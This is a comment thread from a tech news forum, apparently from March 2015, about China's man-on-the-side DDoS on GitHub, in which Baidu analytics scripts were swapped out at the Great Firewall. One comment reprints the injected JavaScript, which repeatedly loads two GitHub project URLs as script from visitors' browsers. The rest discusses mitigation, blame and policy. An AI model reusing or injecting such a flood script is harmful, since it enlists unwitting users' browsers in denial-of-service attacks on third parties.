News for hackers. Stuff that matters.
Re:China's Man-On-the-Side Attack on GitHub by JohnTHaller on Tuesday March 31, 2015 @12:20AM (#9294350)
Since the question of "why" and "how" is coming up again, here's a quick summary I posted on reddit:

From a few different analysis on HN and elsewhere... Baidu has an analytics product and an ads product, much like Google Analytics and Google AdSense, which are used on all kinds of websites via Javascript. China has set the Great Firewall of China to modify some of Baidu's assets so that any non-Chinese IP gets a modified version of the Baidu analytics and ad code. The modification causes every web browser visiting a Chinese site using a Baidu analytics/ad product to load files from the greatfire and cn-nytimes projects on github (both of which are designed to circumvent Chinese government censorship) once every 2 seconds. The effect is that people all over the world outside of China are unwilling participants in a DDoS against github.

github has responded by taking both projects offline and replacing their content with a simple Javascript alert that shows a "WARNING: malicious javascript detected on this domain" messagebox. This causes the folks visiting baidu-infected sites to see the alert and know something is wrong with the website (hopefully not visiting it again). It also prevents the malicious Javascript from executing in a loop and reloading the site every 2 seconds.

One takeaway is that you should always have a backup of your code and resources outside a single central site like github. Another is that you should never ever have any webpage configured to load any resources from a server hosted within China IP address space as it is vulnerable to this sort of attack by the Chinese government.

Re:China's Man-On-the-Side Attack on GitHub by belorn on Tuesday March 31, 2015 @09:53AM (#9296135)
The takeaway from this attack is the same as we got from the Snowden disclosure: Nations will abuse network services that is located on their borders. They will hack-tap-and-steal, modify, block, and use any method available to distribute malware. Any action is viable so long there is a target to attack which could produce political, economical or military advantages.

I suspect we will reach a point where treaties are needed to protect the basic building blocks of the Internet. We can't expect nations to respond by sending in military force, or voluntary give up the benefits from this kind of attacks. This leaves few options left if one want the economic benefits from cloud services and similar shared-network concepts.

Re:China's Man-On-the-Side Attack on GitHub by ethbro on Tuesday March 31, 2015 @10:45AM (#9296546)
I like to grab old books at yard sales, and found this an interesting read (Arms Control Disarmament And National Security, 1961, https://archive.org/details/armscontroldisar013124mbp). It's a collection of essays by various authors on a variety of arms control subjects.

Everyone sees nuclear / Cold War negotiations in hindsight, but in 1961 (and probably also ~1950) the logic is much more interesting, given that the theories were developed from a position of profound ignorance. How would things turn out? What did the other side actually want? How reasonable was the other side? Unknown!

On a technical point, is there a reason that javascript doesn't tend to be signed in any way? Or is it? Even if you're serving unsecured content for whatever reason, it'd be nice to allow the user to verify the code they received was as you intended. (Admittedly, encrypting all traffic as a default solves this)

Re:China's Man-On-the-Side Attack on GitHub by e40 on Tuesday March 31, 2015 @10:57AM (#9296632)
On a technical point, is there a reason that javascript doesn't tend to be signed in any way?

A good point. I think it's convenience that we don't do it, but I'd hope we move in that direction. It seems like a prudent move.

Re:China's Man-On-the-Side Attack on GitHub by ethbro on Tuesday March 31, 2015 @11:14AM (#9296797)
> A good point. I think it's convenience that we don't do it, but I'd hope we move in that direction. It seems like a prudent move.

After a bit of Googling, (a) http://stackoverflow.com/questions/1368164/javascript-code-s... (b) http://www-archive.mozilla.org/projects/security/components/...

It seems it's simultaneously too difficult to do without ECMA spec support & would require a certificate chain anyway. And if you're running a cert chain infrastructure, why not use the one that already exists and run TLS?

Other side thought: with regards to the usefulness & impracticality of cert pinning, has any work been done on systems specifically designed to target low % injection systems? If 1/10 visitors gets the poisoned page, then it seems you'd have a 9/10 chance to pull a good page for comparison & verification if you (or a proxy you trust) made another request from a different IP.

Re:China's Man-On-the-Side Attack on GitHub by comex on Tuesday March 31, 2015 @11:37AM (#9297038)
In this case, the problem with any kind of technical workaround on the server side is that Baidu is under the jurisdiction of the government implementing the DDoS and is thus unlikely to be able to actively work to defeat it. If another country tried to do the same... well, that's what HTTPS is for.
Re:China's Man-On-the-Side Attack on GitHub by jordanilchev on Tuesday March 31, 2015 @01:29PM (#9298214)
HTTPS is not secure when we talk about China it is false sense of security! Last case 7days ago: http://www.theregister.co.uk/2015/03/24/google_ssl_cnnic/
Re:China's Man-On-the-Side Attack on GitHub by comex on Tuesday March 31, 2015 @01:44PM (#9298378)
That's fairly off topic - I mentioned that HTTPS is somewhat irrelevant here since Baidu is located in China, and anyway a forged certificate could not be used in a mass attack like this one since the issuing CA would come to the attention of browser vendors rather quickly. For the record, hopefully Google's upcoming Certificate Transparency feature in Chrome will help address the general issue, although who knows what kind of adoption it will have in practice.
Re:China's Man-On-the-Side Attack on GitHub by nailer on Tuesday March 31, 2015 @08:14AM (#9295644)
> Another is that you should never ever have any webpage configured to load any resources from a server hosted within China IP address space as it is vulnerable to this sort of attack by the Chinese government.

Yep. Baidu are a NASDAQ listed company, while they may not be the malicious actor here, they still have a responsibility to ensure their networks are not used to attack others - which they don't seem to be taking seriously.

Until Baidu take steps to ensure their networks are not used to attack others, we should drop their packets: https://news.ycombinator.com/item?id=9295617

Re:China's Man-On-the-Side Attack on GitHub by paraboul on Tuesday March 31, 2015 @08:22AM (#9295677)
Baidu network is not used. The response is altered as the trafic goes out of China. The only thing they can do is hosting http://hm.baidu.com in another country.
Re:China's Man-On-the-Side Attack on GitHub by nailer on Tuesday March 31, 2015 @08:44AM (#9295749)
> The response is altered as the trafic goes out of China.

By locating their network inside China, Baidu is allowing a malicious actor to leverage their network traffic - which indeed is a 'use' of Baidu's network.

> The only thing they can do is hosting http://hm.baidu.com in another country.

Most likely, yes. And until they do so, or come to another solution, their traffic should be blocked.

Re:China's Man-On-the-Side Attack on GitHub by ithkuil on Tuesday March 31, 2015 @09:40AM (#9296041)
If their traffic gets blocked by other countries they could mitigate the revenue loss by having some capacity outside China and make sure that most accesses to their property coming from outside China goes to the servers hosted outside China (geo dns or anycast routing).

This would restore their analytics infrastructure functionality and avoid being exploited by their own government for such kinds of attack, while being justified as an infrastructure scalability concern (to avoid backslashes by the Chinese government).

Re:China's Man-On-the-Side Attack on GitHub by teamhappy on Tuesday March 31, 2015 @08:52AM (#9295789)
So what's the rule then? Block all packets coming out of countries with governments that do MITM attacks? Blame the companies for not locating their servers in other countries? Companies like GitHub? This is so hypocritical.
Re:China's Man-On-the-Side Attack on GitHub by nailer on Tuesday March 31, 2015 @09:26AM (#9295955)
> So what's the rule then? Block all packets coming out of countries with governments that do MITM attacks?

Block packets from any company that does not take reasonable steps to stop its network from being used to attack others.

This has been networking rule for a long time.

- We block open mail relays

- we block hacked Windows XP machines

- we should block a company who's in a hacked data center where their upstream adds malicious JavaScript.

Edit: 'we' = network administrators.

Re:China's Man-On-the-Side Attack on GitHub by teamhappy on Tuesday March 31, 2015 @09:43AM (#9296053)
I assumed you were talking about our governments when you said we. Who's stopping you from blocking whatever you want? Or from creating a public block list for that matter. You have to convince me to install it on my machines though. :P
Re:China's Man-On-the-Side Attack on GitHub by woah on Tuesday March 31, 2015 @01:07PM (#9297980)
I think they are addressing their fellow network admins with that comment
Re:China's Man-On-the-Side Attack on GitHub by acveilleux on Tuesday March 31, 2015 @02:00PM (#9298518)
They probably should use a global, non-chinese CDN to avoid this. That and HSTS and HTTPS to pin certs.
Re:China's Man-On-the-Side Attack on GitHub by throwaway7767 on Tuesday March 31, 2015 @08:44AM (#9295750)
Does that mean we should drop everything coming from US prefixes also because the NSA uses them for man-on-the-side attacks?
Re:China's Man-On-the-Side Attack on GitHub by throwaway7767 on Tuesday March 31, 2015 @08:52AM (#9295797)
Replying to myself as HN won't let me reply to the post by 'nailer

> If there is a specific network being leveraged by the US government to attack someone else, and the owner of the network is not taking steps to prevents its misuse, then yes, of course.

We have documented evidence of GCHQ doing man-on-the-side attacks against visitors of LinkedIn and slashdot.org. So are you currently blocking the prefixes of LinkedIn and SourceForge, Inc. on your networks? Or are you aware of any specific acts of these companies to prevent this from being possible in the future?

I worry about mass surveillance and national firewalls no matter where they come from, but I don't think balkanising the internet is a good response.

Re:China's Man-On-the-Side Attack on GitHub by nailer on Tuesday March 31, 2015 @08:47AM (#9295769)
If there is a specific infrastructure being leveraged by the someone to attack someone else, and the owner of the infrastructure is not taking steps to prevent its misuse, then yes, of course.

Edit: yes, throwaway7767, this means any company. However LinkedIn, in this case, was being spoofed, and LInkedIn's infrastructure was not used: http://www.spiegel.de/international/world/ghcq-targets-engin...

Edit 2: no, throwaway7767, Baidu's infrastructure - their bandwidth, their customers, and location within the Chinese Firewall are being used to attack GitHub. Baidu has control over where they locate their servers. Baidu are not exercising that control.

Re:China's Man-On-the-Side Attack on GitHub by throwaway7767 on Tuesday March 31, 2015 @09:44AM (#9296062)
Apparently I can now reply further into the thread, must be a timed thing.

> Edit: yes, throwaway7767, this means any company. However LinkedIn, in this case, was being spoofed, and LInkedIn's infrastructure was not used: http://www.spiegel.de/international/world/ghcq-targets-engin....

LinkedIn was indeed being spoofed, which is exactly what was being done to baidu in this case we are discussing. So it seems to be we now agree that blocking baidu would not be appropriate?

> Edit 2: no, throwaway7767, Baidu's infrastructure - their bandwidth, their customers, and location within the Chinese Firewall are being used to attack GitHub. Baidu has control over where they locate their servers. Baidu are not exercising that control.

And in what way is this different than the attack on LinkedIn we were discussing? Please be specific.

I've already said I disapprove of these methods regardless of who applies them, but you have not seen fit to specifically state that companies like linkedin should move all their servers outside the US/UK/FVEY countries, reserving that course of action only for chinese companies.

Re:China's Man-On-the-Side Attack on GitHub by nailer on Tuesday March 31, 2015 @11:21AM (#9296868)
>> If there is a specific infrastructure being leveraged by the someone to attack someone else, and the owner of the infrastructure is not taking steps to prevent its misuse, then yes, of course.

> you have not seen fit to specifically state that companies like linkedin should move all their servers outside the US/UK/FVEY countries, reserving that course of action only for chinese companies.

Yes, I have. See quote above.

Re:China's Man-On-the-Side Attack on GitHub by ma2rten on Tuesday March 31, 2015 @01:26AM (#9294529)
actually both projects are still online on github.

https://github.com/cn-nytimes

https://github.com/greatfire

Re:China's Man-On-the-Side Attack on GitHub by rattray on Tuesday March 31, 2015 @02:07AM (#9294635)
They are back on github now; they were indeed temporarily changed to return only

    alert("WARNING: malicious javascript detected on this domain");
(or something similar). I saw this myself.
Re:China's Man-On-the-Side Attack on GitHub by roblabla on Tuesday March 31, 2015 @04:22AM (#9294968)
Actually, they never stopped being accessible from the "usual" link : https://github.com/greatfire . The alert was only sent for requests to https://github.com/greatfire/ (notice the leading slash).
Re:China's Man-On-the-Side Attack on GitHub by valgaze on Tuesday March 31, 2015 @02:22AM (#9294659)
From the Sony pictures incident to the attack on that satirical magazine in Paris to this, it's getting pretty tiresome having to deal with authoritarian types who believe they should dictate what other people can say or access.

For those curious, see below for a write up of the malicious javascript (uses a simple ajax call & random number timer): http://insight-labs.org/?p=1682

document.write("<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"> \x3c/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 }

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

function r_send2() { var a = unixtime() % NUM; get(url_array[a]) }

function get(a) { var b; $.ajax({ url: a, dataType: "script", timeout: 1E4, cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) }

function r_send(a) { setTimeout("r_send2()", a) } setTimeout("r_send2()", 2E3);

Re:China's Man-On-the-Side Attack on GitHub by rmchugh on Tuesday March 31, 2015 @06:38AM (#9295369)
Loading all of jQuery seems a little bit excessive when the only thing they're using is the $.ajax function. http://youmightnotneedjquery.com/#request
Re:China's Man-On-the-Side Attack on GitHub by blar on Tuesday March 31, 2015 @02:15PM (#9298637)
It's excessive if your goal is _solely_ to execute a repeating AJAX request. But, if I'm understanding the attack correctly, this script is injected _in place of_ jQuery requested from Baidu's CDN. If you want the affected sites to appear normal, so the users whose browsers you are highjacking will contribute to the DDOS for the longest possible period, then you want to ensure that jQuery does indeed load.

The OP further clarifies why jQuery is injected _twice_: seems the injection is occurring only for 1% of requests. So it appears the code is looking to see if it has triggered the injection itself, and fires another request if needed.

Re:China's Man-On-the-Side Attack on GitHub by interdrift on Tuesday March 31, 2015 @06:50AM (#9295403)
On which side are you ._.
Re:China's Man-On-the-Side Attack on GitHub by tomjen3 on Tuesday March 31, 2015 @07:42AM (#9295556)
Engineers don't care what side anybody is on, as long as the tech works.
Re:China's Man-On-the-Side Attack on GitHub by throwaway7767 on Tuesday March 31, 2015 @08:47AM (#9295768)
> Engineers don't care what side anybody is on, as long as the tech works.

Good engineers do care. Don't mistake "being an engineer" with "being apathetic".

Re:China's Man-On-the-Side Attack on GitHub by hobs on Tuesday March 31, 2015 @08:08AM (#9295623)
Really?

We knew the world would not be the same. A few people laughed, a few people cried, most people were silent. I remembered the line from the Hindu scripture, the Bhagavad-Gita... "Now, I am become Death, the destroyer of worlds."

Any engineer worth his salt absolutely understands the consequences of their actions on the world. Sometimes they understand a bit too late.

Re:China's Man-On-the-Side Attack on GitHub by tomjen3 on Tuesday March 31, 2015 @08:20AM (#9295666)
He still went along with it.
Re:China's Man-On-the-Side Attack on GitHub by jc4p on Tuesday March 31, 2015 @10:17AM (#9296307)
hey buddy
Re:China's Man-On-the-Side Attack on GitHub by hobs on Wednesday April 01, 2015 @08:28AM (#9303050)
What's up pvam
Re:China's Man-On-the-Side Attack on GitHub by stefantalpalaru on Tuesday March 31, 2015 @07:33AM (#9295531)
> the Sony pictures incident

Most likely unrelated to North Korea and used for propagandistic purposes (including publicity for a below par movie).

Re:China's Man-On-the-Side Attack on GitHub by captn3m0 on Tuesday March 31, 2015 @02:16AM (#9294651)
That was done to the urls with a trailing slash, which was being used (incorrectly) by the DDoS script.
Re:China's Man-On-the-Side Attack on GitHub by jpatte on Tuesday March 31, 2015 @06:43AM (#9295380)
Wait, how does that work? Looking at the malicious javascript code issuing ajax requests to github, it doen't seem github's response is evaluated. Is this alert even displayed?

If that is the case, why not do something even more radical in the response like changing the targeted urls ? They could replace them by baidu urls for example, effectively transforming a DDoS against github into a DDoS against baidu (not saying baidu is the author of the attack here, but that would certainly have an impact on the traffic being monitored by the GFW).

Re:China's Man-On-the-Side Attack on GitHub by lol768 on Tuesday March 31, 2015 @07:08AM (#9295454)
The dataType is set to "script" in the AJAX request options. Per the jQuery docs (https://api.jquery.com/jquery.ajax/#jQuery-ajax-settings), this dataType causes the response to be evaluated as JavaScript in the browser.
Re:China's Man-On-the-Side Attack on GitHub by Denvercoder9 on Tuesday March 31, 2015 @05:09AM (#9295093)
They were still online, only the URL with a trailing slash was replaced. Links to the repository on GitHub itself were still working.
Re:China's Man-On-the-Side Attack on GitHub by rattray on Tuesday March 31, 2015 @05:32AM (#9295167)
Ah, thank you for the correction.
Re:China's Man-On-the-Side Attack on GitHub by zaroth on Tuesday March 31, 2015 @02:16AM (#9294650)
From what I saw, it returned the alert only when the request had a trailing slash.
Re:China's Man-On-the-Side Attack on GitHub by throwaway7767 on Tuesday March 31, 2015 @08:57AM (#9295812)
There still seems to be some special handling of them. Accessing these two projects through tor fails with an angry-looking unicorn and the message "Something went wrong and we cannot service your request". All other github projects seem accessible.
Re:China's Man-On-the-Side Attack on GitHub by cbsmith on Tuesday March 31, 2015 @04:04AM (#9294912)
One solution that comes to mind for this is for CDN's to have an edge node just outside of the great firewall of China. Even with a simple edge side include, the impact on Github's servers should be near zero.
Re:China's Man-On-the-Side Attack on GitHub by cxseven on Tuesday March 31, 2015 @04:17AM (#9294953)
This won't work because it's browsers outside of China that are being hijacked when browsing Baidu Analytics-using sites.
Re:China's Man-On-the-Side Attack on GitHub by cbsmith on Tuesday March 31, 2015 @06:02AM (#9295260)
That's a fair point...

Still, this is a read-based DoS. It should be fairly easy to mitigate with a CDN...

Re:China's Man-On-the-Side Attack on GitHub by encoderer on Tuesday March 31, 2015 @11:26AM (#9296924)
Putting a dynamic app like Github behind a CDN with page-caching just does not work. Sure they could freeze those projects and serve what is now essentially static HTML, but in day-to-day operations you're left using CDN products that let you serve static parts separately from dynamic parts, which is probably of dubious benefit during a DoS attack.
Re:China's Man-On-the-Side Attack on GitHub by cbsmith on Tuesday March 31, 2015 @07:47PM (#9300654)
Github has got a bit of a read mostly situation. If read requests where funneled so that there was only one per URL per edge node at any given point in time (which edge side includes effectively gives you), it would make for pretty easy to manage load for Github.
Re:China's Man-On-the-Side Attack on GitHub by downandout on Tuesday March 31, 2015 @04:23AM (#9294969)
Since this is the technique they used, the browsers would have sent referring URLs as part of each request. When traffic begins to spike suspiciously, why not send a headless browser to each referrer, and if any code on the referrer results in automatic loading of the domain you're trying to protect, blacklist it. I'm guessing that the bulk of the requests were referred by a relatively small number of pages/domains, so this would be a small processing task with a big payoff. This would effectively kill the use of this technique.
Re:China's Man-On-the-Side Attack on GitHub by fixermark on Tuesday March 31, 2015 @09:29AM (#9295975)
Unfortunately, the countermeasure for this sort of sniff already exists: the attacking referrer detects traffic from the victim's IP range and returns a sanitized copy of the content with the automatic loading logic removed. "Nothing to see here, officer."

It's a big programming task for a small processing task for a temporary payoff.

Re:China's Man-On-the-Side Attack on GitHub by downandout on Tuesday March 31, 2015 @09:31AM (#9295983)
There's nothing that says the headless requests would have to come from the victim's IP range. Any cloud service could be used. Also, since open source headless browsers already exist (phantomjs et al), it's a small programming task.
Re:China's Man-On-the-Side Attack on GitHub by peterjmag on Tuesday March 31, 2015 @08:48AM (#9295771)
Wouldn't it be awesome if GitHub somehow exposed issues / pull requests / etc as actual git repos for each project, like they do for wikis? Seems like that would mitigate much of the risk associated with centralized issue tracking.

And yes, I'm aware that all the data is already accessible via their API, but that's not quite as easy to deal with as a simple "git clone". For now, perhaps something like https://backhub.co/ could help, but I'd like to have the option to self-host (which doesn't appear to be the case for BackHub).

EDIT: Something tells me they'd never do that, simply because their business model doesn't stand to benefit from it. But hey, I can dream.

Re:China's Man-On-the-Side Attack on GitHub by jader201 on Tuesday March 31, 2015 @09:38AM (#9296026)
Yeah, I was thinking the same thing as your edit. Once GitHub makes it easier to become independent of them, then it... well, becomes easier to become independent of them.
Re:China's Man-On-the-Side Attack on GitHub by woah on Tuesday March 31, 2015 @01:12PM (#9298043)
I've thought about this as well. Should be possible to store the data in the repo itself. Later we can add a gui to make things easy. I believe that we can let their existing api schema determine the format. I'd like to do it in node because of its portability and ubiquity. Pm me if you are interested in helping.

Big decision is whether to store the issues and other metadata in a seperate branch or not.

Re:China's Man-On-the-Side Attack on GitHub by jakejake on Tuesday March 31, 2015 @12:31AM (#9294389)
Do those requests show up as coming from China? I thought it was only people outside China who are being giving the poisoned javascript, and the requests are being made on the client-side from them - which would appear to be just random traffic?

Perhaps Baidu still shows up as the referring URL, though?

Re:China's Man-On-the-Side Attack on GitHub by cft on Tuesday March 31, 2015 @01:16AM (#9294506)
the requests are coming from the computers outside of china (that access chinese sites), thus you cannot simply BGP null-route all Chinese prefixes to mitigate this.
Re:China's Man-On-the-Side Attack on GitHub by peteretep on Tuesday March 31, 2015 @01:38AM (#9294565)

    > I thought it was only people outside China who are being 
    > giving the poisoned javascript, and the requests are
    > being made on the client-side from them - which would
    > appear to be just random traffic
I would have thought you could usefully heuristically look at the referrer header.
Re:China's Man-On-the-Side Attack on GitHub by PopsiclePete on Wednesday April 01, 2015 @05:08PM (#9306914)
So I asked this before, and will ask it again.

If I'm a start-up, or any "hot" website, do I have anything to gain by allowing myself to be reached by computers inside China's IP space? Same for Russia, North Korea? All 3 are known to be the source of many disruptive attacks, neither of the 3 are important markets, with the exception of China, where they've decided to re-implement all non-Chinese internet services anyway.

I'm honestly curious. I'm in the process of launching a project of my own and wonder if there's any reason to not attempt to blacklist China/Russia en masse?

Re:China's Man-On-the-Side Attack on GitHub by rsync on Tuesday March 31, 2015 @12:10PM (#9297407)
"One takeaway is that you should always have a backup of your code and resources outside a single central site like github."

  ssh [email protected] "git clone git://github.com/freebsd/freebsd.git freebsd"
Done and done.
Re:China's Man-On-the-Side Attack on GitHub by gnufied on Tuesday March 31, 2015 @08:21AM (#9295673)
Wondering if Github has reported this to law enforcement agencies and knowing origin of attack - how will FBI etc proceed? Will we get a statement from administration itself on the lines of Sony hacking or trade relations are too big to endanger?
Re:China's Man-On-the-Side Attack on GitHub by IndianAstronaut on Tuesday March 31, 2015 @03:15PM (#9299149)
I have my doubts about the technical competency within the presidential administration(healthcare.gov for example). Such huge attacks would not take place if we had any effective retaliation and protection capacity.
Re:China's Man-On-the-Side Attack on GitHub by facepalm on Tuesday March 31, 2015 @08:58AM (#9295813)
I think you got it wrong. The Baidu analytics code is not on the pages that are on GitHub. It is all over the place, and the Great Firewall occasionally swaps it out for the malicious script. There is no malicious code on the GitHub pages.
Re:China's Man-On-the-Side Attack on GitHub by UnoriginalGuy on Tuesday March 31, 2015 @09:06AM (#9295846)
You must have misread because they never said anything like what you're claiming they said here.
Re:China's Man-On-the-Side Attack on GitHub by facepalm on Tuesday March 31, 2015 @09:40AM (#9296036)
This is what they wrote:

In short, this is how this Man-on-the-Side attack is carried out:

An innocent user is browsing the internet from outside China.

One website the user visits loads a javascript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics).

The web browser's request for the Baidu javascript is detected by the Chinese passive infrastructure as it enters China.

A fake response is sent out from within China instead of the actual Baidu Analytics script. This fake response is a malicious javascript that tells the user's browser to continuously reload two specific pages on GitHub.com.

Nowhere do they say that the script is only injected into the pages from GitHub.